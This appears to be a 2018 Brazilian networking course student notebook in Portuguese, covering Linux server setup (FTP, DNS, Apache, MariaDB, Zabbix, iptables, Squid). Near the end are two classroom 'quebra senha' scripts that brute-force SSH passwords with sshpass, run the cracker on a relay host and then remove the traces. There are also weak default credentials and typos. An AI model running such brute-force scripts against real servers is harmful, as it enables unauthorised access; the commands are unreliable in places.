CADERNO DE ANOTAÇÕES

CURSO TÉCNICO DE REDES DE COMPUTADORES

2018

**PREPARAÇÃO DO AMBIENTE**

ACESSO NFS AO REPOSITÓRIO LOCAL – DEBIAN 8

showmount -e 10.107.132.20

mkdir /mnbt/repo

mount -t nfs 10.107.132.20:/home/celso/FTP/Linux/Debian87 /mnt/repo

ls -l /mnt/repo

seq 3 | xargs -I@ echo deb file:/mnt/repo/blu@ jessie main contrib > /etc/apt/sources.list

apt update

apt install [program]

ACESSO NFS AO REPOSITÓRIO LOCAL – DEBIAN 9

showmount –e 10.107.132.20

mkdir /mnt/repo

mount –t nfs –o nfsvers=3 10.107.132.20:/home/celso/FTP /mnt/repo

ls /mnt/repo

mkdir /mnt/share

mkdir /mnt/share/blu1

mkdir /mnt/share/blu2

mkdir /mnt/share/blu3

mount –t iso9660 –o loop,ro /mnt/repo/debian-9.3.0-amd64-BD-1.iso /mnt/share/blu1

mount –t iso9660 –o loop,ro /mnt/repo/debian-9.3.0-amd64-BD-2.iso /mnt/share/blu2

mount –t iso9660 –o loop,ro /mnt/repo/debian-9.3.0-amd64-BD-3.iso /mnt/share/blu3

ls –l /mnt/share

seq 3 | xargs –I@ echo deb [trusted=yes] [file:/mnt/share](file://\mnt\share)/blu@ stretch main contrib > /etc/apt/sources.list

apt update

apt install [program]

INSTALAR INTERFACE GRÁFICA

apt install xorg fluxbox wireshark

startx

> no terminal shell bash: wireshark

> analyze - display filters

> capture - options - habilitar só a enp0s3

> filtrar só o ftp

ACESSO REMOTO

enviar arquivo/ copiar

scp [nome do arquivo] [destino] -> scp [name\_archive] r3m@10.107.132.20:/home/r3m/script01/tiffany

scp [nome do arquivo] [destino] -> scp se\* r3m@10.107.132.20:/home/r3m/script01/tiffany

ssh [usuário]@[IP] '[comando]' ->ssh r3m@10.107.132.20 'mkdir /home/r3m/script02/tiffany'

CÓDIGO DE CORES HTML

[www.cultura.ufpa.br/dicas/htm/htm-cor2.htm](http://www.cultura.ufpa.br/dicas/htm/htm-cor2.htm)

MONTAGEM DE PENDRIVE

fdisk -l ou lsblk ou blkid

mkdir /media/usb

mount /dev/sdb1 /media/usb

umount /media/usb

ENCONTRAR ARQUIVOS NO LINUX

find / -iname <archive/directory name> //iname=ignorar maiúsculas e minúsculas

find / -name <archive/directory name> //name=nome exato do arquivo ou diretório

**SERVIÇOS PARA INTERNET**

TCPDUMB -SNIFFER

apt install tcpdumb

sniffer [ftp=21] [ssh=22] [telnet=23]

tcpdumb -vvv -nAs0 -i enp0s3 port 21 >> captura.txt

> olhar o arquivo captura.txt para ver os pacotes capturados

apt-get install xorg fluxbox wireshark

CONFIGURAR O MODO ANÔNIMO NO FTP

apt install proftpd

nano /etc/proftpd/proftpd.conf

> tirar o comentário da linha 149-188

> salvar e sair

/etc/init.d/proftpd restart

cd /srv/ftp (home do usuário anônimo)

cat welcome.msg

> apagar tudo e escrever msg de boa vindas

> salvar e sair

CONFIGURAR O FTP

apt-get install proftpd-basic proftpd-doc

vi /etc/proftpd/proftpd.conf

linha 11 desabilitar o ipv6

linha 15 colocar no o nome do host

linha 18 estar em standalone

DisplayConnect /usr/local/etc/proftpd.banner (arquivo de boas vindas) -> adicionar na última linha

service proftpd restart

vi /etc/hosts

127.0.1.1 e o nome do host

**Para "enjaular"**

vi /etc/proftpd/proftpd.conf

linha 36 -> descomentar e escrever DefaultRoot ~/ftp -> para ter somente acesso a home do usúario

service proftpd restart

criar o diretorio ftp na home do usúario

configurar ftp para acesso anonimo

linha 149 -> configuração de usúario anônimo

.

Descomentar tudo (somente a primeira hastag)

.

linha 188 -> fim

ACESSO SEGURO AO FTP

sftp -P 2222 aluno@192.168.0.114 (logar no servidor)

love o boy

DNS – DOMAIN NAME SYSTEM

Tipos de DNS

* Resolver
* Recursivo
* Atoritativo

Domínio raiz = representado por um “.”.

CCTLD – Country Top Level Domain – ar, br, co

GTLD – Generic Top Level Domain – com, org, gov

INSTALAR DNS PRIMÁRIO

apt install bind9

cd /etc/bind

less db.root

#arquivo dos 13 endereços ip root

less named.conf

#arquivo que é uma junção de todos os outros do /etc/bind

vi named.conf.local

[

//

// Do any local configuration here

//

// Consider adding the 1918 zones here, if they are not used in your

// organization

//include "/etc/bind/zones.rfc1918";

**//Zona Maranhão [Apenas para testar]**

**zone "maranhao.com.br" {**

**type master;**

**file "/etc/bind/db.maranhao.com.br";**

**};**

**]**

:wq

cp db.empty db.maranha.com.br

#db.empy = arquivo vazio para configuração de zonas

[

$TTL 86400 #Tempo que a informação do domínio vai ficar armazenado no cache do cliente

@ IN SOA **ns1. maranhão.com.br**. root.localhost ( @ = inicío de configuração para o bind; IN = domínio de internet; S0A = autoritativo do domínio; ns1 = name server 1 (primário); root.localhost =e endereço de e-mail.

**2018031901** ; Serial

604800 ; Refresh

86400 ; Retry

2419200 ; Expire

86400 ) ; Negative Cache TTL

;

@ IN NS ns1.maranha.com.br. #NS = name server

@ IN MX 10 mail1.maranhao.com.br. # MX = sigla para servidor de email; 10 = 01

ns1 IN A 192.168.0.14

www IN CNAME ns1 #Toda vez que www for digitado ele será substituído por ns1

ftp IN A 196.168.0.14

mail1 IN A 192.168.0.14

]

:wq

systemctl restart bind9

ping [www.maranhao.com.br](http://www.maranhao.com.br/)

rm /etc/resolv.conf

ping [www.maranhao.com.br](http://www.maranhao.com.br/)

INSTALAR DNS SECUNDÁRIO

apt install bind9

cd /etc/bind

mkdir slave

vi named.conf.local

[

//

// Do any local configuration here

//

// Consider adding the 1918 zones here, if they are not used in your

// organization

//include "/etc/bind/zones.rfc1918";

**//Zona Tiffany**

**zone "tiffany.com.br" {**

**type slave;**

**file "/etc/bind/db.tiffany.com.br";**

**masters {192.168.0.114; };**

**};**

**]**

service bind9 restart

**(No servidor primário)**

vi /etc/bind/named.conf.local

**//Zona Tiffany**

**zone " tiffany.com.br " {**

**type master;**

**allow-transfer { 192.168.0.114; };**

**file "/etc/bind/db.tiffany.com.br ";**

**};**

**:wq**

**(No servidor secundário)**

**service bind9 restart**

CONFIGURAÇÃO DO CLIENTE DNS

**vi /etc/resolv.conf**

nameserver 192.168.0.14 (server IP)

:wq

CONFIGURAÇÃO DO SERVIDOR RAIZ

apt install bind9

vi /etc/named.conf.local

**zone "." {**

**type máster;**

**file "/etc/bind/db.raiz";**

**};**

:wq

scp aluno@192.168.0.254:/etc/bind/\*.op\* /etc/bind

scp aluno@192.168.0.254:/etc/bind/db.root /etc/bind

INSTALAR SERVIDOR WEB

apt install apache2

vi /etc/resolve.conf

nameserver 192.168.0.33 #configurar o web server para integrá-lo ao sistema DNS

**no servidor primário**

cd /home

vi db.tiffany.com.br

www IN A [web server IP] //comando para adicionar o web server ao sistema DNS

/etc/init.d/bind9 restart

**no servidor web**

cd /etc/apache2/sites-available

vi tiffany.conf

<VirtualHost \*:80>

ServerName [www.tiffany.com.br](http://www.tiffany.com.br/) //adicionar mais de um domínio no mesmo servidor web

DocumentRoot /var/www/tiffany

</VirtualHost>

vi panegalli.conf

<VirtualHost \*:80>

ServerName [www.panegalli.com.br](http://www.panegalli.com.br/)

DocumentRoot /var/www/vi //diretório para armazenar as páginas html

</VirtualHost>

mkdir /var/www/tiffany

mkdir /var/www/panegalli

cd /etc/apache2/sites-available

a2ensite tiffany.conf //a2=apache2; en=enable; site - habilitar o site

a2ensite panegalli.cong //www.tiffany.com.br

cd /var/www/tiffany

vi index.html

<!--Aceita caracteres fora da tabela ASC; vai usar o padrão de configuração utf8 (língua brasileira)-->

<meta charset="utf-8" />

<html>

<head>

<title> Janela 1 </title>

</head>

<body>

<center>

<h1> <font color="#00BFFF">

site da Tiffany

</h1>

</center>

</body>

</html>

cp ../panegalli

<!--Aceita caracteres fora da tabela ASC; vai usar o padrão de configuração utf8 (língua brasileira)-->

<meta charset="utf-8" />

<html>

<head>

<title> Janela 1 </title>

</head>

<body>

<center>

<h1> <font color="#9400D3">

site da Panegalli

</h1>

</center>

</body>

</html>

ACESSAR UM SERVIDOR VIA SSH SEM SENHA

apt-get install openssh-server -y

Editar o arquivo /etc/ssh/sshd\_config -> servidor

Port 22

#ListenAddress ::

ListenAddress x.x.x.x (ip do servidor)

PermitRootLogin yes //opcional: logar pelo root via ssh

service ssh restart -> reinicia o arquivo de configuração

service ssh status -> verifica o status

**Gerar um par de chave**

ssh-keygen -t rsa

enter ou caminho escolhido

enter ou senha

enter ou senha digitada

copiar chave pública no servidor

ssh-copy-id aluno@x.x.x.x(ip do servidor de destino - para onde a chave será copiada)

ssh user@ip\_whither\_server (acessar o servidor)

**Tipos de acessos ssh**

ssh usuario@ip -p porta (SE FOR UMA PORTA DIFERENTE)

scp origem(ip):/diretorio destino

scp -P nº da porta origem(ip):/diretorio destino

scp -r origem:caminho\_dir destino (copia tudo do destino)

**INFRAESTRUTURA DE REDES**

AUTOCAD

COMANDOS BÁSICOS

F8 - modo ortogonal - linhas horizontais e verticais

F9 - modo de precisão - só permite desenhar nas intersecções dos quadriláteros de fundo

F7 - ativas/desativar linhas de grade

offset - duplica linha

COORDENADA CARTESIANA RELATIVA

comando line

@coordenada x,coordenada y

@3,3

COORDENADA POLAR RELATIVA

comando line

@distância<ângulo

@13<23

DIMENSÕES ARQUITETÔNICAS

Parede externa - 0.25

Parede interna - 0.15

largura de porta - 0.90

MUDAR COTA

> anottation

> Manage Dimension Style

> New

AS BUILT

Definição de rotas

Dimensionamento

Orçamentos

Lista de materiais

Mão de obra

Custos

Diagrama Unifilar

Plano de face do rack

Plantas baixas

Fotos

Atas

Certificação

Memorial Descritivo

**As Built: Documento que facilita o troubleshooting e inserção de novos ativos de rede**

**Passo 1 - Construir o cabeçalho do documento**

\* Nome da empresa prestadora de serviço

\* Título do documento, exemplo: documento de "As Built" do ambiente LAN Corporativa de Voz e Dados

\* Logotipo da empresa

\* Número de revisão

\* Data de conclusão

\* Autor, contato

\* Assinatura dos integrantes da solução

**Passo 2 - Histórico de versões do documento**

**Passo 3 -**

**Passo 4 - Criar inventário de hardware e software**

\* Nome do equipamento

\* Número de série

\* MAC Address, caso seja necessário

\* Modelo

\* Versão do firmware e Sistemas Operacionais dos equipamentos

\* Fabricante

\* Endereços IP atribuídos

ABR 1994 NBR 6492

Projetos arquitetônicos

**Carimnbo**

O carimbo inferior direito das folhas de desenho deve ser

reservado ao carimbo destinado à legenda de titulação e

numeração dos desenhos.

4.3.1

Devem constar da legenda, no mínimo, as seguintes

informações:

a) identificação da empresa e do profissional res-

ponsável pelo projeto;

b) identificação do cliente, nome do projeto ou do

empreendimento;

c ) título do desenho;

d) indicação seqüencial do projeto (números ou le-

tras);

e) escalas;

f) data;

g) autoria do desenho e do projeto;

h) indicação de revisão.

Exemplar para uso exclusivo - SERVIÇO NACIONAL DE APRENDIZAGEM INDUSTRIAL - SENAIDN - 33.564.543/0001-90

Impresso por: SP - ALUNO DO SENAI

SERVIÇO NACIONAL DE APRENDIZAGEM INDUSTRIAL - SENAI-SP

NBR 6492/1994

3

4.3.2

Outras informações devem localizar-se próximo do

carimbo:

a) planta-chave;

b) escalas gráficas;

c) descrição da revisão;

d) convenções gráficas;

e) notas gerais;

f) desenhos de referência.

4.3.3

Indicação do norte, regime de ventos, etc. podem

também constar próximo do carimbo



**Máximo de comprimento: 18,5cm.**

**GERENCIAMENTO DE REDES**

BANCO DE DADOS

SGBD - Sistema de Gerenciamento de Banco de Dados

\* Oracle

\* MySQL

\* Maria DB (fork do MySQL)

\* PostgreSQL (OpenSource)

\* SQLServer (Microsoft)

\* Fire Bird (OpenSource)

SQL - Structured Query Language

NonSQL - não trabalha com a linguagem SQL. Trabalha com uma linguagem funcional

\* Mongo DB

MARIA DB

apt install mysql-server ou apt install mariadb-server

mysql -u root -p //u:usuario, -p:password

mysql //entrar no banco de dados pelo debian9

exit

SETAR SENHA NO MYSQL

set password for 'root'@'localhost' = password('mysql');

update mysql.user set authentication\_string = password('mysql') where user = 'root' and host = 'localhost';

update mysql.user set plugin = '' where user = 'root' and host = 'localhost';

flush privileges;

REDEFINIR SENHA DO MYSQL

/etc/init.d/mysql stop

mysqld\_safe --skip-grant-tables & //modo de segurança do banco de dados; &=entrar em segundo plano

COMANDOS

comandos principais:

insert;

delete;

update;

select;

show databases;

create database db\_teste; //criar banco de dados chamado "db\_teste"

GRANT ALL PRIVILEGES ON db\_empresa.\* TO 'aluno'@'%' IDENTIFIED BY '123'; //criar o usuário e dar privilégios no banco

de dados db\_empresa

use teste; //usar o banco de dados teste;

MariaDB [teste]show tables; //mostrar tabelas

MariaDB [teste]create table Funcionarios ( //criar tabela FUNCIONARIOS

#Após apertar enter segue as linhas abaixo :

-> id int primary key auto\_increment, //variável id do tipo inteiro que se auto-incrementa

-> nome varchar(100) not null, //varchar=var charactere; not null = não nulo

-> cargo varchar(100) not null, //como não tem nada é um campo null = pode ser nulo

-> salario double not null, //double=variável real que suporta números grandes

-> endereco varchar(200) null,

-> telefone varchar(16) null);

MariaDB [teste]desc FUNCIONARIOS ; //describe a table

MariaDB [teste]insert into FUNCIONARIOS (nome, cargo, salario) values ('Nikola Tesla', 'Cientista', 20000.50); //inserir dados em uma tabela

MariaDB [teste]select \* from FUNCIONARIOS; //Retornar tudo da tabela FUNCIONARIOS

select \* from Funcionarios where cargo='Gerente de RH'; //Buscar algo especifico ta tabela

update FUNCIONARIOS set cargo = 'Lider' where id = 1; //Modificar o cargo do funcionário com id=1

delete from FUNCIONARIOS where id = 1; //deletar a linha com id = 1 da tabela FUNCIONARIOS

|  |  |  |  |
| --- | --- | --- | --- |
| id | nome | cargo | salario |
| 1 | Nikola Tesla | Cientista | 20000.5 |
| 2 | Tiffany Panegalli | CisAdmin | 35000.75 |
| 3 | Michel Faraday | Fisico | 20000.5 |

drop table FUNCIONARIOS; //apagar tabela FUNCIONARIOS

drop database teste; //apagar um banco de dados

INSTALAÇÃO DO ZABBIX

1. Debian 9.3 com MariaDB:

apt install build-essential snmp vim libssh2-1-dev libssh2-1 libopenipmi-dev libevent\* libpcre\* -y

apt install libsnmp-dev wget libcurl4-gnutls-dev fping libxml2 libxml2-dev curl libcurl3-gnutls -y

apt install libcurl3-gnutls-dev libiksemel-dev libiksemel-utils libiksemel3 -y

apt install apache2 php7.0 php7.0-mysql libapache2-mod-php7.0 php7.0-gd libpq5 libpq-dev mysql-server mysql-client libmariadbd-dev -y

apt install php-bcmath php-mbstring php-ldap php-xml php-xmlreader php-xmlwriter -y

2. Criando o banco de dados no MySQL

# mysql

MariaDB [(none)]> create database zabbix character set utf8; //criação de banco de dados com suporte à tabela de decodificação utf8

MariaDB [(none)]> GRANT ALL PRIVILEGES ON \*.\* TO zabbix@localhost IDENTIFIED BY 'zabbix' WITH GRANT OPTION; //fornecer todos os privilégios para o usuário zabbix, desde que ele esteja no próprio host onde está instalado o banco de dados

MariaDB [(none)]> quit

3. Configurando o PHP

PHP\_FILE = /etc/php/7.0/apache2/php.ini

# vi /etc/php/7.0/apache2/php.ini

date.timezone = "America/Sao\_Paulo"

max\_execution\_time = 300

max\_input\_time = 300

post\_max\_size = 16M

always\_populate\_raw\_post\_data = -1

################################################################################################################

sed -i 's/;date.timezone =/date.timezone = "America\/Sao\_Paulo"/g' /etc/php/7.0/apache2/php.ini

sed -i 's/max\_execution\_time = 30/max\_execution\_time = 300/g' /etc/php/7.0/apache2/php.ini

sed -i 's/max\_input\_time = 60/max\_input\_time = 300/g' /etc/php/7.0/apache2/php.ini

sed -i 's/post\_max\_size = 8M/post\_max\_size = 16M/g' /etc/php/7.0/apache2/php.ini

sed -i 's/;always\_populate\_raw\_post\_data = -1/always\_populate\_raw\_post\_data = -1/g' /etc/php/7.0/apache2/php.ini

################################################################################################################

# /etc/init.d/apache2 restart

# /etc/init.d/apache2 status

4. Instalando o Zabbix //dpkg: instalador de pacotes (.deb); apt: gerente de dependências | tarball: instalação de pacotes por compilação

4.1. Criando usuário zabbix e descompactando tarball

# adduser zabbix

[Password: zabbix]

#################################

[ Baixar a última versão estável]

<https://sourceforge.net/projects/zabbix/files/>

OBS: Na oportunidade foi usada a versão: zabbix-3.4.7.tar.gz (16.3 MB)

\* Copiar o arquivo "zabbix-3.4.7.tar.gz" para o diretório /usr/src

# cd /usr/src

# tar -zxvf zabbix-3.4.7.tar.gz

# chmod -R +x zabbix-3.4.7

4.2. Populando o banco de dados no MySQL

# cat zabbix-3.4.7/database/mysql/schema.sql | mysql -uzabbix -pzabbix zabbix

# cat zabbix-3.4.7/database/mysql/images.sql | mysql -uzabbix -pzabbix zabbix

# cat zabbix-3.4.7/database/mysql/data.sql | mysql -uzabbix -pzabbix zabbix

4.3. Compilando o Zabbix

# cd zabbix-3.4.7/

# ./configure --enable-server --enable-agent --with-mysql --with-jabber=/usr --with-libcurl=/usr/bin/curl-config --with-ssh2 --with-openipmi --with-libxml2 --with-net-snmp && echo "Compilado"

# make install && echo "[Ok]"

#################################

5. Configurando o Zabbix

5.1. Configurando Agent Zabbix

OBS: Os arquivos de configuração do Zabbix ficam em /usr/local/etc

# vi /usr/local/etc/zabbix\_agentd.conf

PidFile=/tmp/zabbix\_agentd.pid

LogFile=/tmp/zabbix\_agentd.log

LogFileSize=2

DebugLevel=3

Server=127.0.0.1

ListenPort=10050

Hostname=zabbixServer

[ informe o nome exato do host, do jeito que aparece no prompt de comandos antes dos símbolos “$”, “#” ]

Timeout=3

################################################################################################################

sed -i 's/# PidFile=\/tmp\/zabbix\_agentd.pid/PidFile=\/tmp\/zabbix\_agentd.pid/g' /usr/local/etc/zabbix\_agentd.conf

sed -i 's/# LogFileSize=1/LogFileSize=2/g' /usr/local/etc/zabbix\_agentd.conf

sed -i 's/# DebugLevel=3/DebugLevel=3/g' /usr/local/etc/zabbix\_agentd.conf

sed -i 's/# ListenPort=10050/ListenPort=10050/g' /usr/local/etc/zabbix\_agentd.conf

sed -i 's/Hostname=Zabbix server/Hostname=zabbixServer/g' /usr/local/etc/zabbix\_agentd.conf

sed -i 's/debian/zabbixServer/g' /etc/hostname

sed -i 's/# Timeout=3/Timeout=3/g' /usr/local/etc/zabbix\_agentd.conf

### Mudar hostname

# hostnamectl set-hostname zabbixServer

################################################################################################################

5.2. Configurando Zabbix Server

# vi /usr/local/etc/zabbix\_server.conf

ListenPort=10051

LogFile=/tmp/zabbix\_server.log

LogFileSize=2

PidFile=/tmp/zabbix\_server.pid

DBHost=localhost

DBName=zabbix

DBUser=zabbix

DBPassword=senha do zabbix para acessar o banco de dados

StartIPMIPollers=1

StartDiscoverers=5

Timeout=3

FpingLocation=/usr/bin/fping

################################################################################################################

sed -i 's/# ListenPort=10051/ListenPort=10051/g' /usr/local/etc/zabbix\_server.conf

sed -i 's/# LogFileSize=1/LogFileSize=2/g' /usr/local/etc/zabbix\_server.conf

sed -i 's/# PidFile=\/tmp\/zabbix\_server.pid/PidFile=\/tmp\/zabbix\_server.pid/g' /usr/local/etc/zabbix\_server.conf

sed -i 's/# DBHost=localhost/DBHost=localhost/g' /usr/local/etc/zabbix\_server.conf

sed -i 's/# DBPassword=/DBPassword=zabbix/g' /usr/local/etc/zabbix\_server.conf

sed -i 's/# StartIPMIPollers=0/StartIPMIPollers=1/g' /usr/local/etc/zabbix\_server.conf

sed -i 's/# StartDiscoverers=1/StartDiscoverers=5/g' /usr/local/etc/zabbix\_server.conf

sed -i 's/Timeout=4/Timeout=3/g' /usr/local/etc/zabbix\_server.conf

sed -i 's/# FpingLocation=\/usr\/sbin\/fping/FpingLocation=\/usr\/bin\/fping/g' /usr/local/etc/zabbix\_server.conf

################################################################################################################

5.3. Copiando os arquivos de frontend do Zabbix para o diretório /var/www/html/zabbix

# mkdir /var/www/html/zabbix

# cp -R /usr/src/zabbix-3.4.7/frontends/php/\* /var/www/html/zabbix/

# chown -R www-data:www-data /var/www/html/zabbix/ //mudar proprietário e grupo para www-data, que é um usuário de sistema

5.4. Scripts de inicialização do Zabbix

\* Colocando o Zabbix para iniciar automaticamente, no boot do sistema operacional, criando os scripts abaixo.

###########################################################################################################################

# vi /etc/init.d/zabbix\_server

#!/bin/bash

#

#

# Zabbix daemon start/stop script.

# Written by Alexei Vladishev <alexei.vladishev@zabbix.com>.

NAME=zabbix\_server

PATH=/bin:/usr/bin:/sbin:/usr/sbin:/home/zabbix/bin

DAEMON=/usr/local/sbin/${NAME}

DESC="Zabbix server daemon"

PID=/tmp/$NAME.pid

test -f $DAEMON || exit 0

set -e

case "$1" in

start)

echo "Starting $DESC: $NAME"

start-stop-daemon --oknodo --start --pidfile $PID \

--exec $DAEMON

;;

stop)

echo "Stopping $DESC: $NAME"

start-stop-daemon --oknodo --stop --pidfile $PID \

--exec $DAEMON

;;

restart|force-reload)

$0 stop

sleep 3

$0 start

;;

\*)

N=/etc/init.d/$NAME

echo "Usage: $N {start|stop|restart|force-reload}" >&2

exit 1

;;

esac

exit 0

###########################################################################################################################

# vi /etc/init.d/zabbix\_agentd

#!/bin/sh

#

#Zabbix agent start/stop script.

#

#Written by Alexei Vladishev <alexei.vladishev@zabbix.com>.

NAME=zabbix\_agentd

PATH=/bin:/usr/bin:/sbin:/usr/sbin:/home/zabbix/bin

DAEMON=/usr/local/sbin/${NAME}

DESC="Zabbix agent daemon"

PID=/tmp/$NAME.pid

test -f $DAEMON || exit 0

set -e

case "$1" in

start)

echo "Starting $DESC: $NAME"

start-stop-daemon --oknodo --start --pidfile $PID \

--exec $DAEMON

;;

stop)

echo "Stopping $DESC: $NAME"

start-stop-daemon --oknodo --stop --pidfile $PID \

--exec $DAEMON

;;

restart|force-reload)

$0 stop

sleep 3

$0 start

;;

\*)

N=/etc/init.d/$NAME

# echo "Usage: $N {start|stop|restart|force-reload}" >&2

echo "Usage: $N {start|stop|restart|force-reload}" >&2

exit 1

;;

esac

exit 0

###########################################################################################################################

5.5. Tornando os arquivos executáveis

# chmod +x /etc/init.d/zabbix\_server /etc/init.d/zabbix\_agentd

\* Executando

# /etc/init.d/zabbix\_server start

# /etc/init.d/zabbix\_agentd start

5.6. Habilitando os scripts para serem executados quando o computador for ligado.

# update-rc.d -f zabbix\_server defaults //habilitar os scripts para serem executados quando o servidor for statado

# update-rc.d -f zabbix\_agentd defaults

#####################################

# apt install rcconf

rcconf

marcar com \* os serviços do zabbix (usando barra de espaço)

tab

[ok] -> enter

OBS: Marcar os dois serviços "zabbix"

#####################################

6. Acessando a interface web do Zabbix

No browser

ServerIP/zabbix

tudo precisa estar OK

colocar senha: zabbix

(sempre clicar em next step e no final finish)

7. Limpando a instalação

# rm -rf /usr/src/zabbix\* //arquivo tarball

8. Acessando o zabbix

user: admin

password: zabbix

USO DO ZABBIX NA WEB

O MONITORAMENTO PELO ZABBIX PODE SER VIA:

\*simples check (icmp)

\* Agent

\* snmp

MONITORAR UM HOST

Configurar o IP do host para o mesmo que o da rede

adicionar o host no zabbix web

criar um template ou utilizar um existente

**SEGURANÇA DE REDES**

PERMITIR PING

iptables -A OUTPUT -p icmp --icmp-type 8 -s 192.168.0.1/24 -d 192.168.0.2/24 -j ACCEPT

iptables -A INPUT -p icmp --icmp-type 0 -s 192.168.0.2/24 -d 192.168.0.1/24 -j ACCEPT

LIMPAR REGRAS

iptables -F

BLOQUEAR/PERMITIR ACESSO ICMP

iptables -A INPUT -p icmp -j DROP

iptables -A INPUT -p icmp -j ACCEPT

VER AS POLÍTICAS DE REGRAS DO IPTABLES

iptables -L

iptables -t filter -L

iptables -nat -L

iptables -mangle -L

POLÍTICA RESTRITIVA

iptables -P INPUT DROP

iptables -P OUTPUT DROP

iptables -P FORWARD DROP

PROXY

Squid

controle de log

cache na memória

Relatórios

Vantagens

- São úteis na manutenção de dados para o log de informações sobre as conexões aos serviços de Internet

- São úteis na utilização de cache de informações

- Podem realizar filtragem inteligente

- Podem realizar autentificação em nível de usuário

- Oferecem proteção automática para as implementações IP

Desvantagens

- Podem necessitar de servidores diferentes para cada serviço

- Os serviços oferecidos por proxy ocasionam um certo atraso na utilização dos mesmos

**No servidor**

apt-get install squid3

arquivo de configuração

[

http\_port 3128

visible\_hostname Tiffany

acl all src all

http\_access allow(ou deny) all

]

squid3 -k reconfigure

**No cliente**

abra o navegador

ferramentas - opções da internet - conexões - configurações da LAN

LIMITAR O USO DE CERTAS PALAVRAS PARA NAVEGAÇÃO

criar o arquivo /etc/squid3/bloqueados/block.txt -> digitar dentro dele

as palavras que devem ser bloqueadas em lista:

[

casa

comida

maps

]

digitar no /etc/squid/squid.conf

[

http\_port 3128

visible\_hostname Tiffany

**acl proibido url\_regex -i "/etc/squid3/bloqueados/block.txt"**

**http\_access deny proibido**

acl all src all

http\_access allow(ouy deny) all

]

squid3 -k reconfigure

PROIBIR ACESSO A SITES

/etc/squid/squid.conf

[

http\_port 3128

visible\_hostname Tiffany

acl proibido url\_regex -i "/etc/squid3/bloqueados/block.txt"

http\_access deny proibido

**acl bloqueados dstdomain clickjogos.com.br jogos360.com.br**

**http\_access deny bloqueados**

**(ou acl proibidos dstdom\_regex –i “/etc/squid/proibidos.txt”**

**http\_access deny proibidos)**

**(ou acl dominionegado dstdomain .br**

**http\_access deny dominionegado)**

acl all src all

http\_access allow(ouy deny) all

]

squid3 -k reconfigure

HABILITAR AUTENTIFICAÇÃO DE USUÁRIO

/etc/squid/squid.conf

[

http\_port 3128

visible\_hostname Tiffany

acl proibido url\_regex -i "/etc/squid3/bloqueados/block.txt"

http\_access deny proibido

**auth\_param basic realm Proxy\_Tiffany**

**auth\_param basic program /usr/lib/squid/basic\_ncsa\_auth /etc/squid/squid\_passwd**

**acl autenticacao proxy\_auth REQUIRED**

**http\_access allow autenticacao**

acl all src all

http\_access allow(ouy deny) all

]

**Crie um arquivo vazio para armazenar as senhas de usuários**

touch /etc/squid/squid\_passwd

**Crie um novo usuário**

adduser jose

**Adicionar uma senha para o usuário**

htpasswd /etc/squid/squid\_passwd jose

squid3 –k reconfigure

squid –k reconfigure

HABILITAR CONFIGURAÇÃO AUTOMÁTICA DA PORTA DO NAVEGADOR DE INTERNET

/etc/squid/squid.conf

[

http\_port 3128 transparent

]

squid3 –k reconfigure

squid –k reconfigure

iptables –t nat –A PREROUTING –i eth0 –p tcp --dport 80 –j REDIRECT –to-port 3128

#Se a máquina estiver instalada em outra máquina:

iptables –t nat –A PREROUTING –i eth0 –p tcp --dport 80 –j REDIRECT –to-dest IP: 3128

GERAÇÃO DE RELATÓRIO DE ACESSO

apt install srg

**/etc/squid/squid.conf**

[

Cache\_access\_log /var/log/squid3/access.log

]

**/sr.conf**

[

Descomentar: output\_dir “var/www/htmil/srg\_resports/

]

srg /var/log/squid3/access.log

servisse squid3 restart

**No navegador do cliente:**

[ip do proxy]/srg\_reports

firewall

endian

ufw

brasilufw

ipcop

**PROGRAMAÇÃO PARA REDES**

SCRIPT QUEBRA SENHA (serv. A - B)

#!/bin/bash

# Scrip para encontrar a senha de um servidor

#

# Criado por Tiffany Panegalli & Igor Jambeiro

# Turma: R3M

#

#########################################################################

# Comando para acessar um servidor através do ssh

clear

echo "Bem-vindo ao script \"quebra senha\""

echo "Digite o nome de usuário"

read USER

echo "Digite o IP da rede que deseja acessar"

read IP

#Comando para descobrir a senha do usuário

PASSWORD=489 #Atribuindo um valor à variável PASSWORD, para fins de testes (para teste efitivo: PASSWORD=999)

while [ $PASSWORD -le 999 ] #O programa ficará em andamento enquanto a senha for menor que 999. Logo, o Loop só irá parar quando a senha do usuário for encontrada

do

PASSWORD=$((PASSWORD-1)) #A variável PASSWORD será decrementada até que se encontre a senha correta

echo $PASSWORD

echo "$PASSWORD" > ~/senha\_encontrada #Comando para redirecionar o valor da variável PASSWORD para o arquivo /home/senha\_encontrada

clear

sshpass -p "$PASSWORD" scp /etc/network/interfaces $USER@$IP:/dev/null && break #Comando para cópia remota via ssh. Neste caso será copiado o arquivo /etc/network/interfaces para o arquivo /dev/null, que é um arquivo padrão do debian para testes, onde tudo que é gravado é excluído automaticamente

done

clear

echo "Senha Encontrada: acessar cat ~/senha\_encontrada!!!"

cat ~/senha\_encontrada

**SCRIPT QUEBRA SENHA (serv. A - B - C)**

#!/bin/bash

#Programador: Tiffany Panegalli

#Turma: R3M

############################################################################

#Comando para acessar um servidor através do ssh

clear

echo "Bem-vindo ao scrip \"quebra senha\" "

echo "Digite o nome do usuário:"

read USER

echo "Digite a senha do usuário:"

read PASSWORD

echo "Digite o IP da rede que deseja acessar:"

read IP

#Comandos para acessar o servidor através do ssh

sshpass -p "$PASSWORD" scp quebra\_senha.sh $USER@$IP:/home/$USER

clear

sshpass -p "$PASSWORD" ssh $USER@$IP './quebra\_senha.sh'

sshpass -p "$PASSWORD" scp $USER@$IP:~/senha\_encontrada .

#Comandos para remover os arquivos criados em outro servidor e exibí-los na máquina local

sshpass -p "$PASSWORD" ssh $USER@$IP 'rm ~/quebra\_senha.sh'

sshpass -p "$PASSWORD" ssh $USER@$IP 'rm ~/senha\_encontrada'

clear

echo "senha encontrada!!!"

echo "o arquivo senha\_encontrada foi copiado para o seu diretório local:"

cat senha\_encontrada

SCRIPT PARA CONFIGURAÇÃO DE REPOSITÓRIO LOCAL

#!/bin/bash

#Script para criação de repositorio no debian 9

#Criado por: Tiffany Panegalli

#1 semestre de 2018

clear

echo "Bem-vindo ao script para criação de repositório local"

echo "digite o IP da rede onde estão os repositórios:"

read IP

#mostrar pontos de montagem no ip determinado

showmount -e $IP

echo "São esses os repositórios que você procura?(y/n)"

read RESP

if [ "$RESP" = "y" ]

then

mkdir /mnt/repo

#comando para montagem de repositório

mount -t nfs -o nfsvers=3 $IP:/home/celso/FTP/Linux/debian93 /mnt/repo

mkdir /mnt/share

mkdir /mnt/share/blu1

mkdir /mnt/share/blu2

mkdir /mnt/share/blu3

echo "listando conteúdo do diretório /mnt/repo..."

